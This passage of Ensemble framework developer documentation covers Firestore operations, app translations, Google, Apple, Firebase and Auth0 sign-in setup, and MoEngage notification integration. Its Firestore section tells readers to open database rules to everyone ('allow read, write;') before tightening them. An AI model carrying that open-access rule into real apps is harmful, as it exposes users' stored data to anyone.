entering a document ID or let Firestore auto-generate one for us. -- Add fields and values to our document. -- Click Save. - -> [!NOTE] -> By default, firestore rules do not allow anyone to access our database. To get started with it, update the rules by changing it to `allow read, write;` which allow everyone to access our database and then update the rules according to our requirements. - -## 2. Types of Firestore Operations -Firestore offers various operations to interact with our data. Here's a breakdown of some core operations along with demo API calls for our Ensemble app - -### Get: -This operation retrieves data from our Firestore collections. We can either retrieve entire collections or use queries to filter and sort our data. -1. **Example (Get all users)**: -```yaml -getUsers: - type: firestore - path: users - listenForChanges: true -``` -**Explanation**: -- `type: firestore`: Specifies that the operation is for Firestore and it is not a RestAPI. -- `path`: The path to the collection or document from where we wanna retrieve the data. -- `listenForChanges`: The operation will listen for real-time updates if set to true and triggers the UI to update. -> Default vale for `operation` is set to `add` if not mentioned. - -> Note: When `listenForChanges` is set to `true`, the first response from the API will be `{"message": "Subscribed to API", "documents": []}`. Be aware of this if your response handling involves checking whether `documents` is empty. -2. **Example (Get user using multiple filters)**: -```yaml -getSpecificUsers: - inputs: - - userId - type: firestore - path: example/users - query: - where: - - field: _documentId - operator: == - value: ${userId} - orderBy: - - age - limit: 10 -``` - -**Explanation**: -- `inputs`: We can also use dynamic variables in the path or a query. -- `path`: Path can be any based on our collections and documents we are trying to access. -- `query`: Filters the data based on the conditions such as [where](https://cloud.google.com/firestore/docs/query-data/queries). [orderBy, Limit](https://cloud.google.com/firestore/docs/query-data/order-limit-data). - -### Add: -The `add` operation creates a new document in a collection with a specified or auto-generated ID. -1. **Example**: -```yaml -createProject: - inputs: - - userId - - proName - - proDes - - proFiles - type: firestore - path: users/${userId}/Projects - operation: add - data: - proName: ${proName} - description: ${proDes} - createdAt: ${FieldValue.serverTimestamp()} -``` -**Explanation**: -- `operation: add`: Indicates that a new document will be created. -- `data`: The fields and values for the new document. Note how `FieldValue` is being used to tell Firestore to set the server timestamp - -### Set: -The `set` operation can create a new document if it does not exist but if the document already exists, `set` will overwrite -the entire document with the data provided, unless we use the `merge` option. -1. **Example**: -```yaml -setProject: - inputs: - - userId - - projectID - - proName - - proDes - - proFiles - type: firestore - path: users/${userId}/Projects/${projectID} - operation: set - data: - proName: ${proName} - description: ${proDes} - setAt: ${FieldValue.serverTimestamp()} -``` - -### Update: -The `update` operation only updates the fields specified in the provided data. If the document does not exist, `update` -will fail with an error. -1. **Example**: -```yaml -inputs: - - userId - - projectID - type: firestore - path: users/${userId}/Projects/${projectID} - operation: update - data: - # Below files will be stored as Array of objects. - files: [{ name: "index.js" , lines: 78 },{ name: "LMS.js" , lines: 245 }] - lastUpdated: ${FieldValue.serverTimestamp()} -``` - -### Delete: -The `delete` operation removes a document from a collection. -1. **Example**: -```yaml -deleteProject: - inputs: - - userId - - projectID - type: firestore - path: users/${userId}/Projects/${projectID} - operation: delete -``` - -### Collection Group: -The `isCollectionGroup` feature is used to retrieve specific collections from any collection. For example, if we have 100 documents in the `users` collection and each document has a sub-collection named `projects`, the `isCollectionGroup` feature helps in getting all `projects` directly rather than iterating through each document. -1. **Example**: -```yaml -getAllProjects: - type: firestore - path: Projects - isCollectionGroup: true -``` - -## 3. Response of Firestore Operations -When performing Firestore operations, we may need to manipulate the responses to fit our application's needs. Below are some common ways demonstrating how to use YAML for API calls, handle states, and display data in our app. -#### 1. Firstly, we will make an API call as follow: -```yaml -invokeAPI: - name: getProjects - inputs: - userId: ${userID} -``` -> We can also use `onResponse` & `onError` on firebase API calls and can perform operations on response. - -#### 2. Using response in `Column`: -To display data based on the API call's state (loading, success, error), you can use the following structure: -```yaml -Column: - children: - - Column: - styles: - visible: '${getProjects.isLoading ? true : false}' - children: - - Progress: - display: circular - - Column: - styles: - visible: '${getProjects.isSuccess ? true : false}' - item-template: - data: ${getProjects.body.documents} - name: project - template: - projectDisplay: # that is an custom widget. - inputs: - name: ${project.proName} - des: ${project.description} - - Column: - styles: - visible: '${getProjects.isError ? true : false}' - children: - - Text: - text: "An error has occurred" -``` -- Explanation: - - The first child `Column` is visible only when the API call is loading `(visible: '${getProjects.isLoading ? true : false}')`. It shows a circular progress indicator. - - The second child `Column` is visible only when the API call is successful `(visible: '${getProjects.isSuccess ? true : false}')`. It iterates over the documents in the response body using item-template. - - The third child `Column` is visible only when there is an error `(visible: '${getProjects.isError ? true : false}')`. It shows an error message. - -#### 3. Using response in `Dropdown`: -To display data in a dropdown, we can use the following YAML structure: -```yaml -Dropdown: - id: selectProject - label: Select Project - itemTemplate: - data: ${getProjects.body.documents} - name: project - value: ${project._documentId} - template: - Text: - text: ${"Name:" + " " + project.proName} -``` - -By using these operations, we can efficiently manage our data in Firestore with an Ensemble project. Firestore's -real-time capabilities and simple API calls make it a powerful tool for any application. - ---- - - -# Translations - -Ensemble supports localization of app content so that your app users can view the app in their preferred language. - -## How it works - -When an app loads, Ensemble checks the defualt language of the device (e.g. languages setting in iOS, Android, or Chrome browser). - -1. If device default langugae is supported by your app, Ensemble uses that language. -2. Else, Ensemble uses the app's default language. - -You can override the above behavior using [the setLocale action](#set-the-locale). - - -## Set up languages - -In Ensemble Studio, navigate to your app and select Translations from the left menu. Add new language to start with. - -> [!NOTE] -> The first language you add is set as the default. You can update the default language when you add more by clicking the `...` menu on the language. - - -![add language](public/images/translations/add-language.png) - -## Add language content - -Language content is created in YAML. Add key/value pairs for each text. - -![add language](public/images/translations/add-language-content.png) - -#### Organize the content - -To make it easier to find and update the text, you can create a hierarchy within language files. For instance, you can have common text under `common` and text related to login screen under `login` - -```yaml -common: - submit: Submit - error: Something went wrong. Try again. - -login: - login_button: Sign in - login_error: Incorrect username or password. Please try again. - -``` - - -## Reference the translation - -In any screen or widget, reference the translations. E.g. for a button, assign the reference to the `label` property. - -When refrencing translations, prepend `r@` before the key assigned to the text: - - -```yaml -- Button: - label: r@login.login_button -``` - - -## Test in Preview - -Use the 🌎 icon on top of the preview to select a language. The preview updates and shows the UI in the selected language. - -![add language](public/images/translations/test-language.png) - - -## Setting language in app code - -You can dynamically change the app's language from within your app. This allows users to select a language for the app that is different than OS language. - -### Retrieve Supported Languages - -To get an array of languages supported by your app (i.e., translations you created in Ensemble Studio), use the following code: - -```javascript -// Get array of supported languages -console.log(app.languages); -``` - -### Get Current Language and Locale -To log the currently set language and locale: - -```javascript -// Log currently set language -console.log(app.language); - -// Log currently set locale -console.log(app.locale); -``` - -### Set the Locale -You can set the locale using the ensemble.setLocale method. This method updates the app's language. - -```yaml -Button: - label: Switch to English - onTap: - setLocale: - languageCode: en -``` - -This action can be triggered in code: - -```javascript -// Set the locale to English -ensemble.setLocale({ - "languageCode": "en" -}); -``` - - -### Example usage -Here's an example of how you might integrate the language selection dropdown into a screen: - -```javascript -Screen: - - Dropdown: - itemTemplate: - data: ${app.languages} - name: language - template: - Text: - text: ${language.name} (${language.nativeName}) - value: ${language.languageCode} - - onChange: |- - ensemble.setLocale({ languageCode: event.data.value }); - - - Button: - label: r@common.submit -``` -### Defining different themes per language -See [this](https://docs.ensembleui.com/theme-and-styling/theme#defining-themes-for-different-locales) for more details - ---- - -# Authentication -Ensemble supports Sign In with Google, Apple as well as with Auth0. - -## Setup -By default Sign in is disabled. To enable it, follow the setup steps below. - -### Enable the Auth module -- Go to `/starter/pubspec.yaml` and uncomment the `ensemble_auth`. -- Go to `/starter/lib/generated/EnsembleModules.dart` - - Set `useAuth` to `true`. - - Uncomment the `if` section to enable the AuthModuleImpl. You may also need to uncomment the import statement. - -### Sign in with Apple -Note that if you are using Sign in with Google on iOS, Apple requires you to also support Sign in with Apple. To enable Sign in with Apple, follow these steps: -- Open XCode from the iOS project under `/starter/ios` in XCode. -- Select your `Runner` target and go to `Signing & Capabilities` tab. -- Click on the `+ Capability` button and select "Sign in with Apple". -- To enable Sign in with Apple only on iOS, you can use the Condition widget to only show if platform is iOS. -```yaml -Column: - children: - - SignInWithGoogle: - - # only show Sign in with Apple on iOS - - Conditional: - conditions: - - if: ${ensemble.device.isIOS()} - widget: - SignInWithApple: -``` - -## Implementation -- For Sign in with Google locally or with your server, go to [Social Sign In](#social-sign-in). -- To use Firebase instead of your server, go to [Firebase](#setting-up-authentication-with-firebase). -- For Sign in with Auth0, go to [Auth0](#setting-up-authentication-with-auth0). - ---- - -# Social Sign In - -Ensemble supports Social Sign in with Google and Apple. This guide will specifically target the **Sign in with Google** flow. -For each service, we support three different mechanism for managing the signed-in users: [Client-side](#client-side), with your [Server](#Server-side), or with [Firebase](#setting-up-authentication-with-firebase). - - - -## Client-side -Ensemble supports Signing In from the client side without any backend server. User information is stored locally on the device. - - -### Build your screens on Studio -First build a **Login** screen. - -```yaml -View: - styles: - useSafeArea: true - - body: - Column: - styles: - # centering the content - mainAxisSize: min - crossAxis: center - alignment: center - children: - - Text: - text: Welcome to a SignIn Example - styles: - textStyle: - fontSize: 20 - padding: 0 0 20 0 - - - SignInWithGoogle: - # Once signed in, go to the screen 'Home' - # Also clear all previous screens to prevent Back button navigation - onSignedIn: - navigateScreen: - name: Home - options: - clearAllScreens: true -``` -Now build the screen **Home** to show the currently logged-in user's information. - -```yaml -View: - header: - title: Welcome Home - - # onLoad check if currently signed in. If not go to the Login screen - onLoad: - verifySignIn: - onNotSignedIn: - navigateScreen: - name: Login - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Row: - styles: - gap: 7 - children: - # Current user's info is under ${auth.user.*} - - Avatar: - source: ${auth.user.photo} - - Text: - text: |- - ${auth.user.name} - ${auth.user.email} - - Button: - label: Sign Out - onTap: - # sign out will clear the user info - signOut: - onComplete: - # once signed out, go to the Login screen - # Also clear all existing screens so the user can't go back - navigateScreen: - name: Login - options: - clearAllScreens: true -``` - - -## Server-side -Currently Social Sign In with your custom Server has to be managed manually. Below is an example flow, and your implementation can varies per your needs. -1. Use the Social Sign in to authenticate the user. This will return the idToken and the user information. -2. Send this idToken to your server, which can validate that this idToken was issued by Google, extract the user information from the idToken, and return server-specific credentials (e.g. bearer token, cookies) for this user back to the client. -3. The client can then save these credentials into storage and use them for subsequent requests. - -```yaml -View: - body: - SignInWithGoogle: - # the user successfully authenticated with Google - onAuthenticated: - invokeAPI: - # call your server, pass the idToken and return server-specific credentials - name: signInToServer - inputs: - # idToken can be accessed on event.data.idToken - token: ${event.data.idToken} - - # user info can be accessed via event.data.user.* - email: ${event.data.user.email} - - onResponse: - executeCode: - # store the bearerToken for latter use - body: |- - ensemble.storage.token = response.body.bearerToken; - onComplete: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true - -API: - # Your server should validate that the idToken is indeed issued by Google - # The server can then create/update the user account in your database, and return server-specific credentials about this user - signInToServer: - inputs: [token] - uri: https://myExampleApi.com/auth - parameters: - token: ${token} -``` -## Add Custom Widget to Google Sign-In Button - -**NOTE:** This property only works for native applications (Android and iOS), on web it will not replace default Google Sign-In Button. - -Ensemble allows you to replace the default `SignInWithGoogle` Widget UI with your own custom widget. By using the widget property within the `SignInWithGoogle` Widget, you can specify any widget to display in place of the default button. This feature enables full customization of the UI, while maintaining the same behavior for signing in and handling events. - -### How to Use the widget Property: ### -The `widget` property can be used inside the `SignInWithGoogle` Widget to define a custom widget. If this property is set, it will replace the default Google Sign-In button with the provided widget. - -### Example: ### -```yaml -SignInWithGoogle: - onSignedIn: - showToast: - message: ${auth.user.email} - onError: - showToast: - message: Something went wrong - widget: - IconButton: - icon: - name: google - library: fontAwesome - color: red -``` - ---- - -# Setting up Authentication with Firebase - -For convenience, Ensemble's Sign In can connect directly to Firebase, allowing you to manage users via Firebase console without the need for a backend server. - - - - -#### Prerequisites - -1. You have created a Firebase project -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## 1. Configure Firebase project - -Login to your Firebase account and navigate to your project in order to complete following steps. - -#### Enable Sign in with Google - -Go to the Authentication section of your Firebase project, and enable Authentication. After that, enable Google as the sign-in method. - -#### Enable Sign in with Phone - -If you want to enable phone authentication, you will need to enable Phone as the sign-in method. You can also add phone numbers to the list of test numbers for your project. - -#### Add iOS app - -Under project settings, add iOS app to your Firebase project. As you go through the steps, you will download a file named `GoogleService-Info.plist` . We will use details from this file later on. -  -#### Add Android app - -Under project settings, add Android app to your Firebase project. As you go through the steps, you will download a file named `google-services.json` . We will use details from this file later on. - ---- - -## 2. Configure Ensemble app - -#### Get starter app - -Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . - -Set your definition source to be Ensemble: - -```yaml -    definitions: -  # where your page definitions are hosted ('local', 'remote' or 'ensemble') -  from: ensemble - -  ensemble: -  appId: -``` - -You can find you Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. - -#### Add Firebase app details to Ensemble app - -In the same file, `ensemble-config.yaml` , add Firebase account details in the following format. - -```yaml -    accounts: - firebase: - iOS: - apiKey: # In GoogleService-Info.plist, take the value of API_KEY - appId: # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID - messagingSenderId: # In GoogleService-Info.plist, take the value of GCM_SENDER_ID - projectId: # In GoogleService-Info.plist, take the value of PROJECT_ID - android: - apiKey: # In google-services.json, take value of client.api_key.current_key - appId: # In google-services.json, take value of client.client_info.mobilesdk_app_id - messagingSenderId: # In google-services.json, take value of project_info.project_number - projectId: # In google-services.json, take value of project_info.project_id -``` - -To get these details, use the `GoogleService-Info.plist` and  `google-services.json` you downloaded during step 1. - -Here's an example of the outcome. - -firebase account details - - -#### Add sign-in providers to Ensemble app - -In the same file, `ensemble-config.yaml` , under `services` add the following. - -```yaml -    services: -      signIn: -        providers: -          google: -            iOSClientId: # In GoogleService-Info.plist, take the value of CLIENT_ID -            androidClientId: # In google-services.json, take value of client.oauth_client.client_id -``` - -Here's an example of the outcome. - - -firebase provider details - - ---- - -## 3. [iOS only] Update Info.plist file - -Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. - -``` - - - - CFBundleTypeRole - Editor - CFBundleURLSchemes - - - URL SCHEME GOES HERE - - - - Firebase iOS APP ID GOES HERE - - - -``` - -Use the `GoogleService-Info.plist` that you downloaded during step 1, and copy the value of REVERESED_CLIENT_ID. Paste this value in inside this string tag: ` URL SCHEME GOES HERE `. - ---- - -## 4. [Web Only] Add Authorized domains - -Add authorized domains to your Firebase project. This is required for web apps to work with Firebase. - -Go to Firebase console, navigate to your project, and under Authentication, go to Settings. Add your domain to the list of authorized domains. - -firebase authorized domains - ---- - -## 5. Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_auth/auth_module.dart'; -``` - -* Search for this line and uncomment it: -``` - // AuthModuleImpl().init(); -``` - -* Search for this line and set it to true -``` - static const useAuth = false; -``` - ---- - -## 6. Add a Sign in screen - -Now that your app is set up to use Firebase, add a new screen in the studio with following definition. - -### Firebase Social Sign In - -For Social Sign In, Ensemble currently provides `SignInWithGoogle` and `SignInWithApple`. Set the provider `property` to `firebase`. - -```yaml -View: - body: - Column: - styles: - mainAxis: center - crossAxis: center - padding: 40 - children: - - SignInWithGoogle: - provider: firebase -``` - -Depending on your need, assign actions to `onSignedIn` and `onError` properties as well. For demo purpusoes here, we will just show a toast message. - - -```yaml - - SignInWithGoogle: - provider: firebase - onSignedIn: - showToast: - message: ${auth.user.email} - onError: - showToast: - message: Something went wrong -``` - -### Firebase Phone Auth - -If you need firebase phone auth, you can use these actions - -`sendVerificationCode` - to send the verification code to the phone number - -```yaml -sendVerificationCode: - provider: firebase - method: phone - phoneNumber: "+1-----------" (required if type is phone) - onSuccess: - // to go to the next screen for otp, it should provide the verification id and resend token - // e.g event.data.verificationId, event.data.resendToken - onError: - // handle error state -``` - -`validateVerificationCode` - to validate the code sent to the phone number - -```yaml -validateVerificationCode: - provider: firebase - method: phone - code: // otp from the `ConfirmationInput` widget - verificationId: // verification id from `sendVerificationCode` action - onSuccess: - // return the authenticated user and idToken - // e.g event.data.user.id, event.data.idToken - onError: - // handle the error state - onVerificationFailure: - // handle the verification failure -``` - -`resendVerificationCode` - to resend the code if resend token is available - -```yaml -resendVerificationCode: - provider: firebase - method: phone - phoneNumber: ${phoneNumber} (required if type is phone) - resendToken: ${resendToken} - onSuccess: - // return the verificationId and resendToken - onError: - // handle error state -``` - -Note: If resend token is not available, you can use `sendVerificationCode` to get the updated token. - -[Kitchen Sink - Firebase Phone Auth](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/A7JOo1uZTYoYVwOUA76c) - ---- -### Firebase Sign In with Custom jwt Token - -Authenticate users in Firebase using a custom `jwtToken` minted by the backend with Firebase Admin SDK, enabling access to secure Cloud Functions. - -`signInWithCustomToken` - to pass token to firebase console - -```yaml -signInWithCustomToken: - token: // Token id from `signInWithServerAPI` action - onAuthenticated: - // return the authenticated user and idToken - // e.g event.data.user.id, event.data.idToken - // if user doesn't exists (uuid doesn't match any existing user) - // it'll create anonymous one - // otherwise return authenticated user - onError: - // handle the error state - // Errors can be invalidToken, NullToken etc -``` -## 7. Build and run the app - -* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). -* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. -* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. -* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. - ---- - -# Setting up Authentication with Auth0 - -In this guide, we will authenticate users against an existing Auth0 tenant. - -#### Prerequisites - -1. You have an existing Auth0 tenant -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## 1. Provision Auth0 App Credentials - -Login to your Auth0 tenant and go the [Applications](https://manage.auth0.com/#/applications) section of your dashboard. - -#### Create an Auth0 Application - -Click on "Create Application", and enter a name for your application. Select "Native" as the application type and click "Create". - -#### Enable Connections - -Your application should have at least one enabled Connection. Click on "Connections" and enable any database or identity provider, e.g. Google. - -#### Configure Application - -Navigate to the "Settings" tab on your application page, and scroll to the "Application URIs" section. This is where we will set your Allowed Callback URLs and Allowed Logout Urls for Android and iOS. The values will follow this template: - -- Android: `SCHEME://AUTH0_DOMAIN/android/YOUR_PACKAGE_NAME/callback` -- iOS: `YOUR_BUNDLE_ID://AUTH0_DOMAIN/ios/YOUR_BUNDLE_ID/callback` - -`SCHEME` can be a custom protocol key for you to differentiate client schemes. If this is not needed, you can simply use `http`. - ---- - -## 2. Configure Ensemble app - -#### Get starter app - -Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . - -Set your definition source to be Ensemble: - -```yaml -    definitions: -  # where your page definitions are hosted ('local', 'remote' or 'ensemble') -  from: ensemble - -  ensemble: -  appId: -``` - -You can find your Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. - -#### Configure Auth0 details for Ensemble app - -In the same file, `ensemble-config.yaml` , add your Auth0 app client ID in the following format. - -```yaml -    services: - signIn: - serverUri: # the domain of your auth0 tenant - providers: - auth0: - iOSClientId: # the client id of of the Auth0 application your created in step 1 - # you may specify additional client ids if you have different applications, otherwise this will be the same client id for all - androidClientId: - webClientId: - serverClientId: -``` - ---- - -## 3. [iOS only] Update Info.plist file - -Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. - -``` - CFBundleURLTypes - - - CFBundleTypeRole - Editor - CFBundleURLName - - - CFBundleURLSchemes - - $(PRODUCT_BUNDLE_IDENTIFIER) - - - -``` - ---- - -## 4. [Android only] Update build.gradle - -Inside the directory where you cloned Ensemble starter, open `/android/build.gradle` in your code editor. Add the following to this file. - -```groovy -// android/app/build.gradle - -android { - // ... - - defaultConfig { - // ... - manifestPlaceholders += [auth0Domain: "", auth0Scheme: ""] - } - - // ... -} -``` - -## 4. Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_auth/auth_module.dart'; -``` - -* Search for this line and uncomment it: -``` - // AuthModuleImpl().init(); -``` - -* Search for this line and set it to true -``` - static const useAuth = false; -``` - ---- - -## 5. Add a Sign in screen - -Now that your app is set up to use Auth0, add a new screen in the studio with following definition. - - -```yaml -View: - body: - Column: - styles: - mainAxis: center - crossAxis: center - padding: 40 - children: - - SignInWithAuth0: - scheme: flutterdemo - provider: auth0 - onAuthenticated: - showToast: - message: ${auth.user.email} -``` - ---- - -## 6. Build and run the app - -* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). -* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. -* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. -* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. - ---- - - -# MoEngage Integration - -MoEngage is a powerful customer engagement platform that enables real-time, personalized messaging across multiple channels. Ensemble provides native integration with MoEngage offering: -- Push Notifications (iOS & Android) -- In-App Messaging -- Event Tracking & Analytics -- User Attribute Management - - -## MoEngage Dashboard Setup - -The following setup on MoEngage Dashboard is required regardless of whether you're enabling MoEngage through Ensemble Studio or local development. This establishes the core configuration needed for MoEngage integration. - -1. Get MoEngage Workspace ID: - - Navigate to MoEngage Dashboard → Settings → General Settings → Basic Details - - Copy your Workspace ID from the displayed information - -2. Configure Firebase for Android Push: - - Follow the complete [FCM Authentication Guide](https://developers.moengage.com/hc/en-us/articles/16909296490644-FCM-Authentication) - - This guide walks you through: - a. Creating a Firebase project - b. Generating FCM Server Key - c. Adding the key to MoEngage Dashboard - d. Enabling necessary FCM APIs - -3. Configure APNS for iOS Push (Choose one): - - Option 1: [APNS Authentication Key](https://developers.moengage.com/hc/en-us/articles/8484447635348-APNS-Authentication-Key) (Recommended) - - Option 2: [APNS Certificate](https://developers.moengage.com/hc/en-us/articles/4403944011028-APNS-Certificate-PEM-file) - -4. Create Platform Apps: - - Create corresponding apps in Firebase Console for Android/iOS - - Ensure the application ID matches your Ensemble app configuration - - Download required configuration files: - - Android: google-services.json - - iOS: GoogleService-Info.plist - - Web: Firebase configuration object - -## Enable MoEngage in Ensemble Studio - -If you're using Ensemble Studio for building your application, follow these steps to enable MoEngage. No additional local configuration will be required. - -1. Navigate to Build & Deploy → Build Settings -2. Enable MoEngage toggle in the Modules section -3. Enter Configuration Details: - - MoEngage Workspace ID obtained from dashboard - - Add Firebase Web Configuration -4. Upload Platform Configuration Files: - - Upload google-services.json for Android - - Upload GoogleService-Info.plist for iOS -5. Click Update to save your configuration - - -## Handling Notifications - -Ensemble provides multiple ways to handle MoEngage notifications to suit your use cases: - -1. **Notification Handler**: Define a notification handler in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. - -2. **Default Behavior**: If notification handler is not specified, the app will simply open up (if not in foreground). - -### Creating a Script and Handler Function - -1. Navigate to or create a script in the Scripts section, for example Common.js. - -2. Create a handler function that will be called when notifications are received: - -```javascript -function handle_notification(notification) { - // Your notification handling logic here -} -``` - -The notification parameter will contain: - -#### For Push Notifications: -```javascript -{ - "payload": {...}, // Original push payload data received from MoEngage - "clickedAction": Map, // Button action details if clicked - "platform": "android/ios", - 'notificationType': 'push', - "isDefaultAction": true/false, // For Android only -} -``` - -For complete push notification payload details, see [Push Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/11652033989396-Push-Callback#h_01H1RX45YD2A06V7SM4TYZWF3V) - -#### For In-App Messages: -```javascript -{ - "campaignId": "campaign_id", - "campaignName": "campaign_name", - "platform": "android/ios", - 'notificationType': 'inApp', - "data": { - "navigationType": "deeplink/screen", // present only if action is `NavigationAction` - "navigationUrl": "url", // present only if action is `NavigationAction` - "keyValuePairs": {} // Custom data - } -} -``` - -For complete in-app message payload structure, see [In-App Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/4404365619092-InApp-NATIV#h_01H96BKP4MZAJTSRZ58FM3Z3XZ) - -Inside your handler function, you can: -- Write custom routing logic -- Access ensemble.storage -- Return a navigation payload - -Example handler: -```javascript -function handle_notification(notification) { - console.log("Received notification:", notification); - - // Assuming the screen name is in the data section - var payload = { - "name": notification['data']['screen'], - // You can also pass inputs that will be accessible on the destination screen using `notificationPayload.*` - }; - - return payload; -} -``` - -If you don't want to navigate, simply don't return anything. - -### Setting up the Handler - -1. Go to Settings -> Environment Variables -2. Add new variable: `ensemble_notification_handler` -3. Set value to `scriptName.handlerName` (e.g. `Common.handle_notification`) - -Once configured, your handler function will be called for all received notifications. - - - -## Enable MoEngage in Local Project - -If you're developing locally without using Ensemble Studio build system, follow these configuration steps. You can skip the Ensemble Studio setup section above. - -#### Ensemble Files (Required) - -**1.** Update `ensemble_modules.dart` -Import required modules and initialize Firebase and MoEngage. Add this at the start of file: -```dart -import 'dart:io'; -import 'package:flutter/foundation.dart'; -import 'package:ensemble_moengage/moengage.dart'; -import 'package:firebase_core/firebase_core.dart'; -``` -Replace default Firebase initialization with platform-specific options - -```dart -// Initialize Firebase with platform-specific options -FirebaseOptions? androidPayload = const FirebaseOptions( - apiKey: "YOUR_ANDROID_API_KEY", - appId: "YOUR_ANDROID_APP_ID", - messagingSenderId: "YOUR_MESSAGING_SENDER_ID", - projectId: "YOUR_PROJECT_ID", - storageBucket: "YOUR_PROJECT_STORAGE_BUCKET" -); - -// Add similar configurations for iOS and Web platforms -FirebaseOptions? iosPayload = ... -FirebaseOptions? webPayload = ... - -FirebaseOptions? selectedPayload; -if (Platform.isAndroid) { - selectedPayload = androidPayload; -} else if (Platform.isIOS) { - selectedPayload = iosPayload; -} -if (kIsWeb) { - selectedPayload = webPayload; -} - -await Firebase.initializeApp(options: selectedPayload); -``` -Initialize MoEngage with your workspace ID and logging preferences by replace this `GetIt.I.registerSingleton(MoEngageImpl());` with below code: -```dart -// Register MoEngage -GetIt.I.registerSingleton( - MoEngageImpl( - workspaceId: 'YOUR_WORKSPACE_ID', // dont forget to replace workspace id. - enableLogs: true - ) -); -``` - -**2.** Update `ensemble.properties`: -```yaml -moengageAppId=YOUR_WORKSPACE_ID -``` -#### Android Configuration -**1.** Add MoEngage and Firebase dependencies in `android/app/build.gradle` and also Configure Google Services plugin: -```gradle -dependencies { - // MoEngage Core dependencies - implementation("androidx.core:core:1.6.0") - implementation("com.moengage:moe-android-sdk:12.8.01") - implementation("com.google.firebase:firebase-messaging:23.4.1") - implementation("androidx.lifecycle:lifecycle-process:2.7.0") - implementation("androidx.appcompat:appcompat:1.3.1") - implementation("com.github.bumptech.glide:glide:4.9.0") -} - -apply plugin: 'com.google.gms.google-services' -``` - -**2.** Update `AndroidManifest.xml` to add required permissions, MoEngage services and set up deep linking configurations, also change application level `android:name`: -```xml - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -``` - -**3.** Create `CustomPushListener.kt` to handle push notification interactions: -```kotlin -package your.package.name - -import android.app.Activity -import android.os.Bundle -import com.moengage.core.internal.logger.Logger -import com.moengage.core.model.AccountMeta -import com.moengage.plugin.base.push.PluginPushCallback - -class CustomPushListener(accountMeta: AccountMeta) : PluginPushCallback(accountMeta) { - private val tag = "CustomPushListener" - - override fun onNotificationClick(activity: Activity, payload: Bundle): Boolean { - Logger.print { "$tag onNotificationClick() : " } - return super.onNotificationClick(activity, payload) - } -} -``` - -**4.** Create `MyApplication.kt`: -```kotlin -package your.package.name - -import com.moengage.core.DataCenter -import com.moengage.core.MoEngage -import com.moengage.core.config.FcmConfig -import com.moengage.core.config.NotificationConfig -import com.moengage.flutter.MoEInitializer -import android.app.Application - -class MyApplication : Application() { - override fun onCreate() { - super.onCreate() - - val moEngage = MoEngage.Builder(this, BuildConfig.MOENGAGE_WORKSPACE_ID, DataCenter.DATA_CENTER_1) - .configureFcm(FcmConfig(true)) - .configureNotificationMetaData( - NotificationConfig( - R.drawable.icon, - R.drawable.launcher, - notificationColor = -1, - isMultipleNotificationInDrawerEnabled = false, - isBuildingBackStackEnabled = true, - isLargeIconDisplayEnabled = true - ) - ) - - MoEInitializer.initialiseDefaultInstance(this, moEngage) - } -} -``` - -**5.** Update `MainActivity.kt`: -```kotlin -package your.package.name - -import android.content.Intent -import android.content.res.Configuration -import android.os.Bundle -import com.moengage.flutter.MoEFlutterHelper -import io.flutter.embedding.android.FlutterActivity - -class MainActivity : FlutterActivity() { - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - processIntent(intent) - } - - override fun onConfigurationChanged(newConfig: Configuration) { - super.onConfigurationChanged(newConfig) - MoEFlutterHelper.getInstance().onConfigurationChanged() - } - - override fun onNewIntent(intent: Intent) { - super.onNewIntent(intent) - processIntent(intent) - } - - private fun processIntent(intent: Intent?) { - if (intent == null) return - } -} -``` - -**6.** Add Platform Configuration Files: - - Place `google-services.json` in `android/app/` - - Add to `android/build.gradle`: -```gradle -buildscript { - dependencies { - classpath 'com.google.gms:google-services:4.3.15' - } -} -``` - -#### iOS Configuration - - -**1.** Update `AppDelegate.swift`: -```swift -import UIKit -import Flutter -// import GoogleMaps -import 